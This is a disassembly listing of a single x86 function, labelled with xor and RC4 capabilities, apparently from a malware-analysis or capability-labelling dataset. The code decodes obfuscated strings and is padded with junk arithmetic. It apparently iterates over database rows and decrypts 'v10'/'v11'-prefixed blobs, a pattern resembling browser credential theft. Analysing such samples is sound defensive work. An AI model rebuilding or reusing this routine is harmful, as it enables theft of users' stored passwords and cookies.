Function at 0x413e6f
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x178
movzx eax, byte [0x42c8a8]
push ebx
push ebp
mov dword [esp + 0x20], ecx
mov ebx, edx
mov ecx, 0x2e47
mov dword [esp + 0xc4], ebx
push esi
and ax, cx
push edi
mov word [0x42c8ec], ax
call fcn.00421268
mov esi, eax
mov eax, 0xa180
or word [0x42c8c0], ax
test esi, esi
je 0x414b31
mov dword [esp + 0x40], 0xa18e91d8
xor ecx, ecx
mov dword [esp + 0x44], 0x949a92b1
mov dword [esp + 0x48], 0x9cb9dd93
mov word [esp + 0x4c], 0x9c89
mov al, byte [esp + ecx + 0x40]
xor al, 0xfd
movzx eax, al
mov word [esp + ecx*2 + 0x128], ax
inc ecx
cmp ecx, 0xe
jl 0x413ed7
movzx ecx, word [0x42c900]
xor eax, eax
mov word [esp + 0x144], ax
mov eax, ecx
and eax, 0x9dde
mov word [0x42c8bc], ax
movzx eax, byte [0x42c8a8]
imul eax, eax, 0xff55d4a6
push ebx
mov dword [0x42c8c4], eax
lea eax, [ecx + 0x609d]
mov word [0x42c8c0], ax
lea eax, [esp + 0x12c]
push eax
call fcn.00423fac
or byte [0x42c8a8], 0x6f
mov edx, eax
mov dword [esp + 0xe8], edx
pop ecx
pop ecx
test edx, edx
je 0x414b31
mov cx, word [0x42c8e8]
mov eax, 0x7139
or cx, ax
mov ax, word [0x42c8bc]
mov word [0x42c8e8], cx
and cl, 0x61
mov byte [0x42c8a8], cl
mov ecx, 0x9488
and ax, cx
mov ecx, edx
mov word [0x42c8ec], ax
call fcn.0042415e
movzx edi, word [0x42c8c4]
mov ebp, eax
mov bl, byte [0x42c8a8]
mov edx, edi
movzx ecx, bl
mov eax, 0x1333
xor edx, 0x8ac8
mov dword [esp + 0xc8], ebp
sub cx, ax
mov word [0x42c8e8], dx
mov word [0x42c8bc], cx
test ebp, ebp
je 0x414b05
movzx eax, bl
xor edi, 0x87b9
add eax, 0x6b139b75
mov word [0x42c8e8], di
mov dword [0x42c900], eax
mov ecx, ebp
movzx eax, dl
xor edx, edx
imul eax, eax, 0x86
mov byte [0x42c8a8], al
call 0x4249f5
movzx edi, word [0x42c8ec]
mov ebx, eax
add edi, 0xabd932d
mov dword [esp + 0xdc], ebx
test ebx, ebx
je 0x414aad
movzx edx, byte [0x42c8a8]
mov eax, 0xe4d2
xor ax, word [0x42c8bc]
mov ecx, 0xc3ca
mov word [0x42c8ec], ax
add edx, 0x8ce1b670
movzx eax, byte [0x42c8a8]
xor ax, cx
mov dword [0x42c900], edx
mov word [0x42c8c0], ax
or edx, 0xa9caef34
imul eax, edi, 0x94b9
push 0
push 1
mov dword [0x42c8c4], edx
mov word [0x42c8e8], ax
lea eax, [esp + 0xd8]
push eax
push ebx
call dword [esi + 4]
add esp, 0x10
test eax, eax
jne 0x414a79
xor ebx, ebx
mov dword [esp + 0x88], 0xa4aba4b2
mov dword [esp + 0x8c], 0xce7fb3a2
mov ecx, ebx
mov dword [esp + 0x90], 0xc8c6c8d1
mov dword [esp + 0x94], 0xd1d4becd
mov dword [esp + 0x98], 0xd47f8bcb
mov dword [esp + 0x9c], 0xcdd1c4d2
mov dword [esp + 0xa0], 0xbec4ccc0
mov dword [esp + 0xa4], 0xd4cbc0d5
mov dword [esp + 0xa8], 0xcf7f8bc4
mov dword [esp + 0xac], 0xd6d2d2c0
mov dword [esp + 0xb0], 0xbec3d1ce
mov dword [esp + 0xb4], 0xd4cbc0d5
mov dword [esp + 0xb8], 0xb1a57fc4
mov dword [esp + 0xbc], 0xcb7facae
mov dword [esp + 0xc0], 0xcdc8c6ce
mov byte [esp + 0xc4], 0xd2
mov al, byte [esp + ecx + 0x88]
sub al, 0x5f
mov byte [esp + ecx + 0x148], al
inc ecx
cmp ecx, 0x3d
jl 0x414138
mov eax, 0x6c3f
mov byte [esp + 0x185], bl
add ax, word [0x42c8c0]
mov ecx, 0x3785
mov word [0x42c8ec], ax
movzx eax, word [0x42c8c0]
xor eax, 0x4e93aa1f
mov dword [0x42c8c4], eax
mov ax, word [0x42c8e8]
sub ax, cx
mov word [0x42c8c0], ax
xor eax, 0x8aca
mov word [0x42c8e8], ax
lea eax, [esp + 0x14]
push ebx
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x154]
push eax
push dword [esp + 0xe0]
call dword [esi + 8]
add esp, 0x14
test eax, eax
jne 0x414a42
movzx eax, word [0x42c8c4]
lea edi, [esp + 0x2c]
mov ecx, eax
mov edx, 0xb4ba
push dword [esp + 0x14]
and eax, 0xaad8
xor ecx, 0x11ce
mov word [0x42c8ec], ax
movzx eax, byte [0x42c8a8]
and ax, dx
mov word [0x42c8c0], cx
mov word [0x42c8bc], ax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
movzx eax, cx
and eax, 0xb3394248
mov dword [0x42c8c4], eax
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
jne 0x414739
mov ebp, dword [esp + 0x28]
mov dword [esp + 0x50], 0x12181b
mov byte [esp + 0x54], 0xe6
mov dword [esp + 0x58], 0x9eba0a3
mov dword [esp + 0x5c], 0xf70408fb
mov dword [esp + 0x60], 0xb6d0fb03
mov dword [esp + 0x18], 0xb4a35d60
mov dword [esp + 0x1c], 0xc2cac6c6
mov dword [esp + 0x20], 0x738db7c5
mov dword [esp + 0x64], 0xfdce979a
mov dword [esp + 0x68], 0xf0f6f9fd
mov dword [esp + 0x6c], 0xfcf601ee
mov word [esp + 0x70], 0xc7fb
mov byte [esp + 0x72], 0xad
mov ecx, ebx
mov al, byte [esp + ecx + 0x50]
add al, 0x3a
mov byte [esp + ecx + 0x38], al
inc ecx
cmp ecx, 5
jl 0x414280
mov byte [esp + 0x3d], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x58]
add al, 0x6a
mov byte [esp + ecx + 0xec], al
inc ecx
cmp ecx, 0xc
jl 0x414296
mov byte [esp + 0xf8], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x18]
sub al, 0x53
mov byte [esp + ecx + 0x40], al
inc ecx
cmp ecx, 0xc
jl 0x4142b2
mov byte [esp + 0x4c], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x64]
add al, 0x73
mov byte [esp + ecx + 0x118], al
inc ecx
cmp ecx, 0xf
jl 0x4142c8
mov byte [esp + 0x127], bl
mov ecx, ebx
mov word [esp + 0x10], 0x5f
mov dword [esp + 0x74], 0x74744144
mov dword [esp + 0x78], 0x74747474
mov dword [esp + 0x7c], 0x74747474
mov dword [esp + 0x80], 0x74747474
mov word [esp + 0x84], 0x4474
mov byte [esp + 0x86], 0x41
mov al, byte [esp + ecx + 0x74]
sub al, 0x37
mov byte [esp + ecx + 0xfc], al
inc ecx
cmp ecx, 0x13
jl 0x414320
movzx eax, byte [0x42c900]
imul ecx, eax, 0x4a
mov eax, 0x707
add word [0x42c8c0], ax
movzx eax, word [0x42c8bc]
and eax, 0x5d9cd43e
mov byte [esp + 0x10f], bl
mov dword [0x42c8c4], eax
mov eax, 0x35f2
movzx edx, cl
mov byte [0x42c8a8], cl
and edx, 0xd60d3d8b
movzx ecx, word [0x42c8ec]
imul ecx, eax
mov dword [0x42c900], edx
lea eax, [edx + 0x6f89]
push 0xffffffffffffffff
lea edx, [esp + 0x3c]
mov word [0x42c8bc], ax
mov word [0x42c8e8], cx
lea ecx, [esp + 0x30]
call 0x424947
movzx eax, word [0x42c8c0]
pop ecx
mov ecx, 0xe00
sub ax, cx
mov word [0x42c8ec], ax
add eax, 0x3cda
push ebx
push dword [esp + 0x18]
mov word [0x42c8e8], ax
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x30]
call 0x424947
movzx eax, word [0x42c8bc]
lea edx, [esp + 0xf0]
xor eax, 0x1a4f542e
pop ecx
mov dword [0x42c900], eax
mov ecx, 0x416
movzx eax, byte [0x42c8a8]
add ax, cx
lea ecx, [esp + 0x2c]
push 0xffffffffffffffff
mov word [0x42c8c0], ax
call 0x424947
pop ecx
movzx ecx, word [0x42c8e8]
mov eax, 0xa41c
imul ecx, eax
mov al, byte [0x42c8ec]
push 1
push dword [esp + 0x18]
and al, 0xd
mov word [0x42c8e8], cx
and ecx, 0x8354
mov byte [0x42c8a8], al
mov word [0x42c8bc], cx
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 1
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x30]
call 0x424947
pop ecx
movzx ecx, word [0x42c900]
mov eax, ecx
lea edx, [esp + 0x40]
or eax, 0xca78
mov word [0x42c8c0], ax
lea eax, [ecx - 0x6f0b]
mov word [0x42c8bc], ax
lea ecx, [esp + 0x2c]
movzx eax, byte [0x42c8a8]
xor eax, 0x4c62e5dd
push 0xffffffffffffffff
mov dword [0x42c8c4], eax
call 0x424947
mov eax, dword [0x42c8c4]
pop ecx
push 2
push dword [esp + 0x18]
add eax, 0x7e13f1dd
mov dword [0x42c900], eax
call dword [esi + 0x14]
pop ecx
pop ecx
movzx ecx, byte [0x42c8a8]
mov edi, eax
mov eax, 0x2f62
and ecx, 0xcaf1f337
xor word [0x42c8bc], ax
mov dword [0x42c8c4], ecx
test edi, edi
je 0x414622
imul eax, ecx, 0xdb6a
mov edx, 0x72b8
push 2
push dword [esp + 0x18]
xor ecx, 0xc043
mov word [0x42c8e8], cx
mov word [0x42c8bc], ax
mov ax, word [0x42c8c0]
and ax, dx
mov edx, 0x5eb4
add ax, dx
mov word [0x42c8c0], ax
call dword [esi + 0x20]
cmp byte [edi], 0x76
mov ebx, eax
pop ecx
pop ecx
jne 0x414b3c
cmp byte [edi + 1], 0x31
lea eax, [edi + 2]
jne 0x414b3c
cmp byte [eax], 0x30
je 0x41455e
cmp byte [eax], 0x31
jne 0x414b3c
movzx ecx, word [0x42c8bc]
mov eax, 0x1a27
movzx edx, byte [0x42c8a8]
xor cx, ax
add edx, 0xe366bd7f
mov dword [0x42c900], edx
lea eax, [ecx + 0x381b]
mov word [0x42c8e8], ax
lea eax, [ecx - 0x6553]
mov word [0x42c8ec], ax
mov ecx, edi
mov eax, edx
and eax, 0x9b04
mov word [0x42c8c0], ax
lea eax, [edx + 0xa658d05]
mov dword [0x42c8c4], eax
mov edx, ebx
lea eax, [esp + 0x28]
push eax
call fcn.0041065e
pop ecx
mov ecx, dword [0x42c900]
mov edi, eax
xor ecx, 0x12d2
mov word [0x42c8c0], cx
test edi, edi
je 0x414620
push dword [esp + 0x28]
movzx eax, cx
mov edx, edi
and eax, 0x60511a06
or cl, 0xcf
mov dword [0x42c900], eax
add eax, 0xffff908d
mov byte [0x42c8a8], cl
lea ecx, [esp + 0x30]
mov word [0x42c8ec], ax
call 0x424469
mov eax, dword [0x42c900]
pop ecx
xor eax, 0xc15d
push edi
mov word [0x42c8ec], ax
call fcn.004062f0
pop ecx
xor ebx, ebx
mov ax, word [0x42c8ec]
lea edx, [esp + 0x118]
mov ecx, 0x2e6c
sub ax, cx
lea ecx, [esp + 0x2c]
mov word [0x42c8e8], ax
mov al, byte [0x42c8c0]
sub al, 0x59
push 0xffffffffffffffff
mov byte [0x42c8a8], al
call 0x424947
movzx eax, word [0x42c8bc]
mov edx, ebp
imul eax, eax, 0x144e5857
pop ecx
lea ecx, [esp + 0x2c]
mov dword [0x42c900], eax
xor eax, 0x4f806bd6
mov dword [0x42c8c4], eax
call fcn.00423eba
imul eax, dword [0x42c8c4], 0x6ee6
lea edx, [esp + 0x10]
push 0xffffffffffffffff
lea ecx, [esp + 0x30]
mov word [0x42c8bc], ax
mov eax, dword [0x42c900]
add eax, 0x26c4
mov word [0x42c8ec], ax
call 0x424947
movzx eax, word [0x42c8ec]
mov edx, dword [esp + 0x190]
imul eax, eax, 0x657538f7
pop ecx
lea ecx, [esp + 0x2c]
mov dword [0x42c8c4], eax
movzx eax, byte [0x42c900]
imul eax, eax, 0xc5
mov byte [0x42c8a8], al
call fcn.00423eba
mov al, byte [0x42c8a8]
lea edx, [esp + 0xfc]
xor al, 0x64
mov ecx, 0xff1a
mov byte [0x42c8a8], al
movzx eax, al
or ax, cx
lea ecx, [esp + 0x2c]
mov word [0x42c8bc], ax
movzx eax, word [0x42c8e8]
sub eax, 0x2fccc63b
push 0xffffffffffffffff
mov dword [0x42c8c4], eax
call 0x424947
pop ecx
push dword [esp + 0x14]
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
je 0x41427e
mov ebp, dword [esp + 0xc8]
cmp dword [esp + 0x2c], 0
je 0x414a42
mov dword [esp + 0x18], 0x828290a1
mov ecx, ebx
mov dword [esp + 0x1c], 0x95839e86
mov dword [esp + 0x20], 0x8985df82
mov byte [esp + 0x24], 0x85
mov al, byte [esp + ecx + 0x18]
xor al, 0xf1
movzx eax, al
mov word [esp + ecx*2 + 0xfc], ax
inc ecx
cmp ecx, 0xd
jl 0x414763
xor eax, eax
lea edx, [esp + 0xc8]
mov word [esp + 0x116], ax
mov ecx, 0x7cf1
movzx eax, byte [0x42c8a8]
or ax, cx
mov ecx, dword [esp + 0xcc]
mov word [0x42c8bc], ax
mov eax, dword [0x42c900]
add eax, 0x67e3
mov word [0x42c8ec], ax
mov eax, 0x1432
add ax, word [0x42c8c0]
mov word [0x42c8e8], ax
call fcn.00414c33
mov dx, word [0x42c8e8]
mov edi, eax
mov eax, 0xb06d
mov ecx, 0x6e8d
or cx, word [0x42c8bc]
or dx, ax
mov eax, 0x44bd
mov word [0x42c8e8], dx
sub cx, ax
movzx ebx, cx
mov word [0x42c8bc], cx
test edi, edi
je 0x4149ea
mov edx, dword [esp + 0xc8]
mov eax, 0x5f48
add ax, word [0x42c8ec]
mov ecx, edi
mov word [0x42c8e8], ax
imul eax, ebx, 0x3b09
add ebx, 0xe90532dd
mov dword [0x42c900], ebx
or ebx, 0x7264
mov word [0x42c8c0], bx
add eax, 0x7c4d
mov word [0x42c8ec], ax
lea eax, [esp + 0xcc]
push eax
call fcn.0041065e
pop ecx
mov cl, byte [0x42c900]
mov ebx, eax
sub cl, 0x49
mov eax, 0xd915
mov byte [0x42c8a8], cl
movzx ecx, cl
and cx, ax
mov word [0x42c8bc], cx
test ebx, ebx
je 0x4149b7
mov dword [esp + 0x38], 0x18367770
xor ecx, ecx
mov word [esp + 0x3c], 0x4704
mov byte [esp + 0x3e], 0x5d
mov al, byte [esp + ecx + 0x38]
xor al, 0x7d
mov byte [esp + ecx + 0xd4], al
inc ecx
cmp ecx, 7
jl 0x4148a0
mov byte [esp + 0xdb], 0
xor ecx, ecx
mov word [esp + 0x10], 0xe0e7
mov al, byte [esp + ecx + 0x10]
xor al, 0xea
mov byte [esp + ecx + 0x28], al
inc ecx
cmp ecx, 2
jl 0x4148c4
mov eax, dword [0x42c8c4]
lea edx, [esp + 0xd4]
add eax, 0x2171
mov byte [esp + 0x2a], 0
mov word [0x42c8bc], ax
lea ecx, [esp + 0x2c]
movzx eax, word [0x42c8e8]
and eax, 0xa9acb1e6
push 0xffffffffffffffff
mov dword [0x42c900], eax
call 0x424947
pop ecx
movzx ecx, word [0x42c8bc]
mov eax, 0x2e43
push dword [esp + 0xcc]
sub cx, ax
mov edx, ebx
mov eax, ecx
mov word [0x42c8ec], cx
and eax, 0x34f
mov word [0x42c8e8], ax
imul eax, ecx, 0x9613
lea ecx, [esp + 0x30]
mov word [0x42c8bc], ax
call 0x424469
mov ax, word [0x42c8c0]
lea edx, [esp + 0x2c]
and dword [0x42c8c4], 0
pop ecx
mov ecx, 0x6e2f
and ax, cx
lea ecx, [esp + 0x2c]
push 0xffffffffffffffff
mov word [0x42c8e8], ax
call 0x424947
mov eax, 0x4d4f
xor ax, word [0x42c8e8]
mov word [0x42c8ec], ax
mov eax, 0x2b8b
xor ax, word [0x42c8bc]
mov word [0x42c8e8], ax
movzx eax, word [0x42c8c0]
imul eax, eax, 0x3f5c58db
pop ecx
push ebx
mov dword [0x42c900], eax
call fcn.004062f0
pop ecx
movzx ecx, word [0x42c8ec]
push edi
lea eax, [ecx + 0xe6e52b9]
or ecx, 0xf7b5c5c8
mov dword [0x42c8c4], eax
mov dword [0x42c900], ecx
call fcn.004062f0
mov dx, word [0x42c8e8]
pop ecx
mov cx, word [0x42c8bc]
add dword [0x42c8c4], 0x679b3673
mov eax, 0x5b95
and dx, ax
mov eax, 0xeb6c
or cx, ax
mov word [0x42c8c0], dx
mov edx, dword [esp + 0x34]
lea eax, [esp + 0xfc]
mov word [0x42c8bc], cx
mov ecx, dword [esp + 0x2c]
push eax
call fcn.0041f651
mov eax, dword [0x42c900]
pop ecx
push dword [esp + 0x2c]
add eax, 0x1041
mov word [0x42c8ec], ax
call fcn.004062f0
pop ecx
movzx ecx, word [0x42c8ec]
mov eax, 0xad91
or ax, word [0x42c8ec]
push dword [esp + 0x14]
mov word [0x42c8bc], ax
mov eax, 0x4ce2
imul ecx, eax
mov word [0x42c8e8], cx
call dword [esi + 0x18]
mov ebx, dword [esp + 0xe0]
pop ecx
mov eax, dword [0x42c8c4]
push dword [esp + 0xd0]
xor eax, 0x4032
mov word [0x42c8ec], ax
call dword [esi + 0x1c]
mov eax, 0xa7c9
xor ax, word [0x42c8c0]
pop ecx
push ebx
mov word [0x42c8e8], ax
call fcn.004062f0
pop ecx
movzx eax, word [0x42c8bc]
xor ecx, ecx
add eax, 0x1c902eb9
mov edx, 0x62d87b
mov dword [0x42c8c4], eax
inc ecx
xor al, 0xb7
push ebp
mov byte [0x42c8a8], al
call fcn.00415f33
call eax
movzx eax, word [0x42c8e8]
add eax, 0x7681458e
mov dword [0x42c8c4], eax
add eax, 0xffff97d6
push ebp
mov word [0x42c8ec], ax
call fcn.004062f0
mov bl, byte [0x42c8a8]
mov dx, word [0x42c8e8]
pop ecx
push dword [esp + 0xe0]
movzx eax, dx
xor eax, 0xd373dc70
movzx ecx, bl
mov dword [0x42c900], eax
mov eax, 0xa744
imul ecx, eax
mov word [0x42c8bc], cx
call fcn.004062f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x178
ret
mov cx, word [0x42c8e8]
mov eax, 0x6e79
add ax, cx
movzx edx, cx
mov word [0x42c8ec], ax
add cl, 0x45
mov eax, 0xc594
mov byte [0x42c8a8], cl
and dx, ax
mov dword [esp + 0xe4], ebx
imul eax, edx, 0x68a0
xor ebx, ebx
xor edx, 0xfee6
mov dword [esp + 0xe8], edi
and edx, 0x31b
mov word [0x42c8bc], dx
or edx, 0xe8d1
mov word [0x42c8c0], dx
mov edx, 0xbedfd981
movzx ecx, ax
mov word [0x42c8e8], ax
mov eax, ecx
or eax, 0x4d18cefe
mov dword [0x42c8c4], eax
lea eax, [ecx - 0x32f2e341]
mov dword [0x42c900], eax
lea eax, [esp + 0xd4]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0xfc]
push eax
push 3
pop ecx
call fcn.00415f33
call eax
test eax, eax
je 0x414622
mov eax, dword [0x42c8c4]
mov ecx, 0x5147
push dword [esp + 0xd4]
mov edx, dword [esp + 0xdc]
or eax, 0x21eb
mov word [0x42c8c0], ax
or eax, 0x5d28
mov word [0x42c8ec], ax
mov ax, word [0x42c8bc]
sub ax, cx
lea ecx, [esp + 0x30]
mov word [0x42c8e8], ax
call 0x424469
pop ecx
jmp 0x414622